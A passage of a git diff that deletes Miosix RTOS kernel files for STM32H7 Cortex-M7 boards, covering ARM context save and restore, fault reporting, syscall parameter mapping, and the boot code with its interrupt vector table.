- * static because otherwise the compiler optimizes it out... - */ -void ISR_yield() __attribute__((noinline)); -void ISR_yield() -{ - #ifdef WITH_PROCESSES - // WARNING: Temporary fix. Rationale: - // This fix is intended to avoid kernel or process faulting due to - // another process actions. Consider the case in which a process statically - // allocates a big array such that there is no space left for saving - // context data. If the process issues a system call, in the following - // interrupt the context is saved, but since there is no memory available - // for all the context data, a mem manage interrupt is set to 'pending'. Then, - // a fake syscall is issued, based on the value read on the stack (which - // the process hasn't set due to the memory fault and is likely to be 0); - // this syscall is usually a yield (due to the value of 0 above), - // which can cause the scheduling of the kernel thread. At this point, - // the pending mem fault is issued from the kernel thread, causing the - // kernel fault and reboot. This is caused by the mem fault interrupt - // having less priority of the other interrupts. - // This fix checks if there is a mem fault interrupt pending, and, if so, - // it clears it and returns before calling the previously mentioned fake - // syscall. - if(SCB->SHCSR & (1<<13)) - { - if(miosix::Thread::IRQreportFault(miosix_private::FaultData( - fault::MP,0,0))) - { - SCB->SHCSR &= ~(1<<13); //Clear MEMFAULTPENDED bit - return; - } - } - #endif // WITH_PROCESSES - miosix::Thread::IRQstackOverflowCheck(); - - #ifdef WITH_PROCESSES - //If processes are enabled, check the content of r3. If zero then it - //it is a simple yield, otherwise handle the syscall - //Note that it is required to use ctxsave and not cur->ctxsave because - //at this time we do not know if the active context is user or kernel - unsigned int threadSp=ctxsave[0]; - unsigned int *processStack=reinterpret_cast(threadSp); - if(processStack[3]!=static_cast(miosix::Syscall::YIELD)) - miosix::Thread::IRQhandleSvc(processStack[3]); - else miosix::Scheduler::IRQfindNextThread(); - #else //WITH_PROCESSES - miosix::Scheduler::IRQfindNextThread(); - #endif //WITH_PROCESSES -} - -void IRQsystemReboot() -{ - NVIC_SystemReset(); -} - -void initCtxsave(unsigned int *ctxsave, void *(*pc)(void *), unsigned int *sp, - void *argv) -{ - unsigned int *stackPtr=sp; - stackPtr--; //Stack is full descending, so decrement first - *stackPtr=0x01000000; stackPtr--; //--> xPSR - *stackPtr=reinterpret_cast( - &miosix::Thread::threadLauncher); stackPtr--; //--> pc - *stackPtr=0xffffffff; stackPtr--; //--> lr - *stackPtr=0; stackPtr--; //--> r12 - *stackPtr=0; stackPtr--; //--> r3 - *stackPtr=0; stackPtr--; //--> r2 - *stackPtr=reinterpret_cast(argv); stackPtr--; //--> r1 - *stackPtr=reinterpret_cast(pc); //--> r0 - - ctxsave[0]=reinterpret_cast(stackPtr); //--> psp - //leaving the content of r4-r11 uninitialized - ctxsave[9]=0xfffffffd; //EXC_RETURN=thread mode, use psp, no floating ops - //leaving the content of s16-s31 uninitialized -} - -#ifdef WITH_PROCESSES - -// -// class FaultData -// - -void FaultData::print() const -{ - using namespace fault; - switch(id) - { - case MP: - iprintf("* Attempted data access @ 0x%x (PC was 0x%x)\n",arg,pc); - break; - case MP_NOADDR: - iprintf("* Invalid data access (PC was 0x%x)\n",pc); - break; - case MP_XN: - iprintf("* Attempted instruction fetch @ 0x%x\n",pc); - break; - case UF_DIVZERO: - iprintf("* Dvide by zero (PC was 0x%x)\n",pc); - break; - case UF_UNALIGNED: - iprintf("* Unaligned memory access (PC was 0x%x)\n",pc); - break; - case UF_COPROC: - iprintf("* Attempted coprocessor access (PC was 0x%x)\n",pc); - break; - case UF_EXCRET: - iprintf("* Invalid exception return sequence (PC was 0x%x)\n",pc); - break; - case UF_EPSR: - iprintf("* Attempted access to the EPSR (PC was 0x%x)\n",pc); - break; - case UF_UNDEF: - iprintf("* Undefined instruction (PC was 0x%x)\n",pc); - break; - case UF_UNEXP: - iprintf("* Unexpected usage fault (PC was 0x%x)\n",pc); - break; - case HARDFAULT: - iprintf("* Hardfault (PC was 0x%x)\n",pc); - break; - case BF: - iprintf("* Busfault @ 0x%x (PC was 0x%x)\n",arg,pc); - break; - case BF_NOADDR: - iprintf("* Busfault (PC was 0x%x)\n",pc); - break; - case STACKOVERFLOW: - iprintf("* Stack overflow\n"); - break; - } -} - -void initCtxsave(unsigned int *ctxsave, void *(*pc)(void *), int argc, - void *argvSp, void *envp, unsigned int *gotBase, unsigned int *heapEnd) -{ - unsigned int *stackPtr=reinterpret_cast(argvSp); - stackPtr--; //Stack is full descending, so decrement first - *stackPtr=0x01000000; stackPtr--; //--> xPSR - *stackPtr=reinterpret_cast(pc); stackPtr--; //--> pc - *stackPtr=0xffffffff; stackPtr--; //--> lr - *stackPtr=0; stackPtr--; //--> r12 - *stackPtr=reinterpret_cast(heapEnd); stackPtr--; //--> r3 - *stackPtr=reinterpret_cast(envp); stackPtr--; //--> r2 - *stackPtr=reinterpret_cast(argvSp); stackPtr--; //--> r1 - *stackPtr=argc; //--> r0 - - ctxsave[0]=reinterpret_cast(stackPtr); //--> psp - ctxsave[6]=reinterpret_cast(gotBase); //--> r9 - //leaving the content of r4-r8,r10-r11 uninitialized - ctxsave[9]=0xfffffffd; //EXC_RETURN=thread mode, use psp, no floating ops - //leaving the content of s16-s31 uninitialized -} - -#endif //WITH_PROCESSES - -void IRQportableStartKernel() -{ - //Enable fault handlers - SCB->SHCSR |= SCB_SHCSR_USGFAULTENA_Msk | SCB_SHCSR_BUSFAULTENA_Msk - | SCB_SHCSR_MEMFAULTENA_Msk; - //Enable traps for division by zero. Trap for unaligned memory access - //was removed as gcc starting from 4.7.2 generates unaligned accesses by - //default (https://www.gnu.org/software/gcc/gcc-4.7/changes.html) - SCB->CCR |= SCB_CCR_DIV_0_TRP_Msk; - NVIC_SetPriorityGrouping(7);//This should disable interrupt nesting - NVIC_SetPriority(SVCall_IRQn,3);//High priority for SVC (Max=0, min=15) - NVIC_SetPriority(MemoryManagement_IRQn,2);//Higher priority for MemoryManagement (Max=0, min=15) - - #ifdef WITH_PROCESSES - //NOTE: if caches are enabled, the MPU will be enabled also if processes are - //not enabled, so this is here for the rare configuration of caches disabled - //but processes enabled - miosix::IRQenableMPUatBoot(); - #endif //WITH_PROCESSES - - //create a temporary space to save current registers. This data is useless - //since there's no way to stop the sheduler, but we need to save it anyway. - unsigned int s_ctxsave[miosix::CTXSAVE_SIZE]; - ctxsave=s_ctxsave;//make global ctxsave point to it - //Note, we can't use enableInterrupts() now since the call is not matched - //by a call to disableInterrupts() - __enable_fault_irq(); - __enable_irq(); - miosix::Thread::yield(); - //Never reaches here -} - -void sleepCpu() -{ - __WFI(); -} - -} //namespace miosix_private diff --git a/miosix/arch/cortexM7_stm32h7/common/interfaces-impl/portability_impl.h b/miosix/arch/cortexM7_stm32h7/common/interfaces-impl/portability_impl.h deleted file mode 100644 index b37f5ca2f..000000000 --- a/miosix/arch/cortexM7_stm32h7/common/interfaces-impl/portability_impl.h +++ /dev/null @@ -1,209 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010, 2011, 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ -//Miosix kernel - -#ifndef PORTABILITY_IMPL_H -#define PORTABILITY_IMPL_H - -#include "interfaces/arch_registers.h" -#include "interfaces/portability.h" -#include "config/miosix_settings.h" -#include - -/** - * \addtogroup Drivers - * \{ - */ - -/* - * This pointer is used by the kernel, and should not be used by end users. - * this is a pointer to a location where to store the thread's registers during - * context switch. It requires C linkage to be used inside asm statement. - * Registers are saved in the following order: - * *ctxsave+100 --> s31 - * ... - * *ctxsave+40 --> s16 - * *ctxsave+36 --> lr (contains EXC_RETURN whose bit #4 tells if fpu is used) - * *ctxsave+32 --> r11 - * *ctxsave+28 --> r10 - * *ctxsave+24 --> r9 - * *ctxsave+20 --> r8 - * *ctxsave+16 --> r7 - * *ctxsave+12 --> r6 - * *ctxsave+8 --> r5 - * *ctxsave+4 --> r4 - * *ctxsave+0 --> psp - */ -extern "C" { -extern volatile unsigned int *ctxsave; -} -const int stackPtrOffsetInCtxsave=0; ///< Allows to locate the stack pointer - -/** - * \internal - * \def saveContext() - * Save context from an interrupt
- * Must be the first line of an IRQ where a context switch can happen. - * The IRQ must be "naked" to prevent the compiler from generating context save. - * - * A note on the dmb instruction, without it a race condition was observed - * between pauseKernel() and IRQfindNextThread(). pauseKernel() uses an strex - * instruction to store a value in the global variable kernel_running which is - * tested by the context switch code in IRQfindNextThread(). Without the memory - * barrier IRQfindNextThread() would occasionally read the previous value and - * perform a context switch while the kernel was paused, leading to deadlock. - * The failure was only observed within the exception_test() in the testsuite - * running on the stm32f429zi_stm32f4discovery. - */ -#define saveContext() \ - asm volatile(" mrs r1, psp \n"/*get PROCESS stack ptr */ \ - " ldr r0, =ctxsave \n"/*get current context */ \ - " ldr r0, [r0] \n" \ - " stmia r0!, {r1,r4-r11,lr} \n"/*save r1(psp),r4-r11,lr */ \ - " lsls r2, lr, #27 \n"/*check if bit #4 is set */ \ - " bmi 0f \n" \ - " vstmia.32 r0, {s16-s31} \n"/*save s16-s31 if we need*/ \ - "0: dmb \n" \ - ); - -/** - * \def restoreContext() - * Restore context in an IRQ where saveContext() is used. Must be the last line - * of an IRQ where a context switch can happen. The IRQ must be "naked" to - * prevent the compiler from generating context restore. - */ -#define restoreContext() \ - asm volatile(" ldr r0, =ctxsave \n"/*get current context */ \ - " ldr r0, [r0] \n" \ - " ldmia r0!, {r1,r4-r11,lr} \n"/*load r1(psp),r4-r11,lr */ \ - " lsls r2, lr, #27 \n"/*check if bit #4 is set */ \ - " bmi 0f \n" \ - " vldmia.32 r0, {s16-s31} \n"/*restore s16-s31 if need*/ \ - "0: msr psp, r1 \n"/*restore PROCESS sp*/ \ - " bx lr \n"/*return*/ \ - ); - -/** - * \} - */ - -namespace miosix_private { - -/** - * \addtogroup Drivers - * \{ - */ - -inline void doYield() -{ - asm volatile("movs r3, #0\n\t" - "svc 0" - :::"r3"); -} - -inline void doDisableInterrupts() -{ - // Documentation says __disable_irq() disables all interrupts with - // configurable priority, so also SysTick and SVC. - // No need to disable faults with __disable_fault_irq() - __disable_irq(); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline void doEnableInterrupts() -{ - __enable_irq(); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline bool checkAreInterruptsEnabled() -{ - register int i; - asm volatile("mrs %0, primask \n\t":"=r"(i)); - if(i!=0) return false; - return true; -} - -#ifdef WITH_PROCESSES - -namespace { -/* - * ARM syscall parameter mapping - * Syscall id is r3, saved at registers[3] - * - * Parameter 1 is r0, saved at registers[0] - * Parameter 2 is r1, saved at registers[1] - * Parameter 3 is r2, saved at registers[2] - * Parameter 4 is r12, saved at registers[4] - */ -constexpr unsigned int armSyscallMapping[]={0,1,2,4}; -} - -// -// class SyscallParameters -// - -inline SyscallParameters::SyscallParameters(unsigned int *context) : - registers(reinterpret_cast(context[0])) {} - -inline int SyscallParameters::getSyscallId() const -{ - return registers[3]; -} - -inline unsigned int SyscallParameters::getParameter(unsigned int index) const -{ - assert(index<4); - return registers[armSyscallMapping[index]]; -} - -inline void SyscallParameters::setParameter(unsigned int index, unsigned int value) -{ - assert(index<4); - registers[armSyscallMapping[index]]=value; -} - -inline void portableSwitchToUserspace() -{ - asm volatile("movs r3, #1\n\t" - "svc 0" - :::"r3"); -} - -#endif //WITH_PROCESSES - -/** - * \} - */ - -} //namespace miosix_private - -#endif //PORTABILITY_IMPL_H diff --git a/miosix/arch/cortexM7_stm32h7/stm32h723zg_nucleo/core/stage_1_boot.cpp b/miosix/arch/cortexM7_stm32h7/stm32h723zg_nucleo/core/stage_1_boot.cpp deleted file mode 100644 index 12e926766..000000000 --- a/miosix/arch/cortexM7_stm32h7/stm32h723zg_nucleo/core/stage_1_boot.cpp +++ /dev/null @@ -1,576 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "core/cache_cortexMx.h" -#include "drivers/pll.h" -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32h753 devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - startPll(); - - miosix::IRQconfigureCache(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void /*__attribute__((weak))*/ SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_AVD_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream0_IRQHandler(); -void __attribute__((weak)) DMA1_Stream1_IRQHandler(); -void __attribute__((weak)) DMA1_Stream2_IRQHandler(); -void __attribute__((weak)) DMA1_Stream3_IRQHandler(); -void __attribute__((weak)) DMA1_Stream4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream5_IRQHandler(); -void __attribute__((weak)) DMA1_Stream6_IRQHandler(); -void __attribute__((weak)) ADC_IRQHandler(); -void __attribute__((weak)) FDCAN1_IT0_IRQHandler(); -void __attribute__((weak)) FDCAN2_IT0_IRQHandler(); -void __attribute__((weak)) FDCAN1_IT1_IRQHandler(); -void __attribute__((weak)) FDCAN2_IT1_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_IRQHandler(); -void __attribute__((weak)) TIM1_UP_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_TIM12_IRQHandler(); -void __attribute__((weak)) TIM8_UP_TIM13_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_TIM14_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) DMA1_Stream7_IRQHandler(); -void __attribute__((weak)) FMC_IRQHandler(); -void __attribute__((weak)) SDMMC1_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Stream0_IRQHandler(); -void __attribute__((weak)) DMA2_Stream1_IRQHandler(); -void __attribute__((weak)) DMA2_Stream2_IRQHandler(); -void __attribute__((weak)) DMA2_Stream3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream4_IRQHandler(); -void __attribute__((weak)) ETH_IRQHandler(); -void __attribute__((weak)) ETH_WKUP_IRQHandler(); -void __attribute__((weak)) FDCAN_CAL_IRQHandler(); -void __attribute__((weak)) DMA2_Stream5_IRQHandler(); -void __attribute__((weak)) DMA2_Stream6_IRQHandler(); -void __attribute__((weak)) DMA2_Stream7_IRQHandler(); -void __attribute__((weak)) USART6_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_OUT_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_IN_IRQHandler(); -void __attribute__((weak)) OTG_HS_WKUP_IRQHandler(); -void __attribute__((weak)) OTG_HS_IRQHandler(); -void __attribute__((weak)) DCMI_PSSI_IRQHandler(); -void __attribute__((weak)) RNG_IRQHandler(); -void __attribute__((weak)) FPU_IRQHandler(); -void __attribute__((weak)) UART7_IRQHandler(); -void __attribute__((weak)) UART8_IRQHandler(); -void __attribute__((weak)) SPI4_IRQHandler(); -void __attribute__((weak)) SPI5_IRQHandler(); -void __attribute__((weak)) SPI6_IRQHandler(); -void __attribute__((weak)) SAI1_IRQHandler(); -void __attribute__((weak)) LTDC_IRQHandler(); -void __attribute__((weak)) LTDC_ER_IRQHandler(); -void __attribute__((weak)) DMA2D_IRQHandler(); -void __attribute__((weak)) OCTOSPI1_IRQHandler(); -void __attribute__((weak)) LPTIM1_IRQHandler(); -void __attribute__((weak)) CEC_IRQHandler(); -void __attribute__((weak)) I2C4_EV_IRQHandler(); -void __attribute__((weak)) I2C4_ER_IRQHandler(); -void __attribute__((weak)) SPDIF_RX_IRQHandler(); -void __attribute__((weak)) DMAMUX1_OVR_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT0_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT1_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT2_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT3_IRQHandler(); -void __attribute__((weak)) SWPMI1_IRQHandler(); -void __attribute__((weak)) TIM15_IRQHandler(); -void __attribute__((weak)) TIM16_IRQHandler(); -void __attribute__((weak)) TIM17_IRQHandler(); -void __attribute__((weak)) MDIOS_WKUP_IRQHandler(); -void __attribute__((weak)) MDIOS_IRQHandler(); -void __attribute__((weak)) MDMA_IRQHandler(); -void __attribute__((weak)) SDMMC2_IRQHandler(); -void __attribute__((weak)) HSEM1_IRQHandler(); -void __attribute__((weak)) ADC3_IRQHandler(); -void __attribute__((weak)) DMAMUX2_OVR_IRQHandler(); -void __attribute__((weak)) BDMA_Channel0_IRQHandler(); -void __attribute__((weak)) BDMA_Channel1_IRQHandler(); -void __attribute__((weak)) BDMA_Channel2_IRQHandler(); -void __attribute__((weak)) BDMA_Channel3_IRQHandler(); -void __attribute__((weak)) BDMA_Channel4_IRQHandler(); -void __attribute__((weak)) BDMA_Channel5_IRQHandler(); -void __attribute__((weak)) BDMA_Channel6_IRQHandler(); -void __attribute__((weak)) BDMA_Channel7_IRQHandler(); -void __attribute__((weak)) COMP_IRQHandler(); -void __attribute__((weak)) LPTIM2_IRQHandler(); -void __attribute__((weak)) LPTIM3_IRQHandler(); -void __attribute__((weak)) LPTIM4_IRQHandler(); -void __attribute__((weak)) LPTIM5_IRQHandler(); -void __attribute__((weak)) LPUART1_IRQHandler(); -void __attribute__((weak)) CRS_IRQHandler(); -void __attribute__((weak)) ECC_IRQHandler(); -void __attribute__((weak)) SAI4_IRQHandler(); -void __attribute__((weak)) DTS_IRQHandler(); -void __attribute__((weak)) WAKEUP_PIN_IRQHandler(); -void __attribute__((weak)) OCTOSPI2_IRQHandler(); -void __attribute__((weak)) FMAC_IRQHandler(); -void __attribute__((weak)) CORDIC_IRQHandler(); -void __attribute__((weak)) UART9_IRQHandler(); -void __attribute__((weak)) USART10_IRQHandler(); -void __attribute__((weak)) I2C5_EV_IRQHandler(); -void __attribute__((weak)) I2C5_ER_IRQHandler(); -void __attribute__((weak)) FDCAN3_IT0_IRQHandler(); -void __attribute__((weak)) FDCAN3_IT1_IRQHandler(); -void __attribute__((weak)) TIM23_IRQHandler(); -void __attribute__((weak)) TIM24_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_AVD_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Stream0_IRQHandler, - DMA1_Stream1_IRQHandler, - DMA1_Stream2_IRQHandler, - DMA1_Stream3_IRQHandler, - DMA1_Stream4_IRQHandler, - DMA1_Stream5_IRQHandler, - DMA1_Stream6_IRQHandler, - ADC_IRQHandler, - FDCAN1_IT0_IRQHandler, - FDCAN2_IT0_IRQHandler, - FDCAN1_IT1_IRQHandler, - FDCAN2_IT1_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_IRQHandler, - TIM1_UP_IRQHandler, - TIM1_TRG_COM_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - 0, - TIM8_BRK_TIM12_IRQHandler, - TIM8_UP_TIM13_IRQHandler, - TIM8_TRG_COM_TIM14_IRQHandler, - TIM8_CC_IRQHandler, - DMA1_Stream7_IRQHandler, - FMC_IRQHandler, - SDMMC1_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - UART4_IRQHandler, - UART5_IRQHandler, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - DMA2_Stream0_IRQHandler, - DMA2_Stream1_IRQHandler, - DMA2_Stream2_IRQHandler, - DMA2_Stream3_IRQHandler, - DMA2_Stream4_IRQHandler, - ETH_IRQHandler, - ETH_WKUP_IRQHandler, - FDCAN_CAL_IRQHandler, - 0, - 0, - 0, - 0, - DMA2_Stream5_IRQHandler, - DMA2_Stream6_IRQHandler, - DMA2_Stream7_IRQHandler, - USART6_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - OTG_HS_EP1_OUT_IRQHandler, - OTG_HS_EP1_IN_IRQHandler, - OTG_HS_WKUP_IRQHandler, - OTG_HS_IRQHandler, - DCMI_PSSI_IRQHandler, // - 0, - RNG_IRQHandler, - FPU_IRQHandler, - UART7_IRQHandler, - UART8_IRQHandler, - SPI4_IRQHandler, - SPI5_IRQHandler, - SPI6_IRQHandler, - SAI1_IRQHandler, - LTDC_IRQHandler, - LTDC_ER_IRQHandler, - DMA2D_IRQHandler, - 0, - OCTOSPI1_IRQHandler, - LPTIM1_IRQHandler, - CEC_IRQHandler, - I2C4_EV_IRQHandler, - I2C4_ER_IRQHandler, - SPDIF_RX_IRQHandler, - 0, - 0, - 0, - 0, - DMAMUX1_OVR_IRQHandler, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - DFSDM1_FLT0_IRQHandler, - DFSDM1_FLT1_IRQHandler, - DFSDM1_FLT2_IRQHandler, - DFSDM1_FLT3_IRQHandler, - 0, - SWPMI1_IRQHandler, - TIM15_IRQHandler, - TIM16_IRQHandler, - TIM17_IRQHandler, - MDIOS_WKUP_IRQHandler, - MDIOS_IRQHandler, - 0, - MDMA_IRQHandler, - 0, - SDMMC2_IRQHandler, - HSEM1_IRQHandler, - 0, - ADC3_IRQHandler, - DMAMUX2_OVR_IRQHandler, - BDMA_Channel0_IRQHandler, - BDMA_Channel1_IRQHandler, - BDMA_Channel2_IRQHandler, - BDMA_Channel3_IRQHandler, - BDMA_Channel4_IRQHandler, - BDMA_Channel5_IRQHandler, - BDMA_Channel6_IRQHandler, - BDMA_Channel7_IRQHandler, - COMP_IRQHandler, - LPTIM2_IRQHandler, - LPTIM3_IRQHandler, - LPTIM4_IRQHandler, - LPTIM5_IRQHandler, - LPUART1_IRQHandler, - 0, - CRS_IRQHandler, - ECC_IRQHandler, - SAI4_IRQHandler, - DTS_IRQHandler, - 0, - WAKEUP_PIN_IRQHandler, - OCTOSPI2_IRQHandler, - 0, - 0, - FMAC_IRQHandler, - CORDIC_IRQHandler, - UART9_IRQHandler, - USART10_IRQHandler, - I2C5_EV_IRQHandler, - I2C5_ER_IRQHandler, - FDCAN3_IT0_IRQHandler, - FDCAN3_IT1_IRQHandler, - TIM23_IRQHandler, - TIM24_IRQHandler, -}; - -#pragma weak SysTick_Handler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_AVD_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream0_IRQHandler = Default_Handler -#pragma weak DMA1_Stream1_IRQHandler = Default_Handler -#pragma weak DMA1_Stream2_IRQHandler = Default_Handler -#pragma weak DMA1_Stream3_IRQHandler = Default_Handler -#pragma weak DMA1_Stream4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream5_IRQHandler = Default_Handler -#pragma weak DMA1_Stream6_IRQHandler = Default_Handler -#pragma weak ADC_IRQHandler = Default_Handler -#pragma weak FDCAN1_IT0_IRQHandler = Default_Handler -#pragma weak FDCAN2_IT0_IRQHandler = Default_Handler -#pragma weak FDCAN1_IT1_IRQHandler = Default_Handler -#pragma weak FDCAN2_IT1_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak 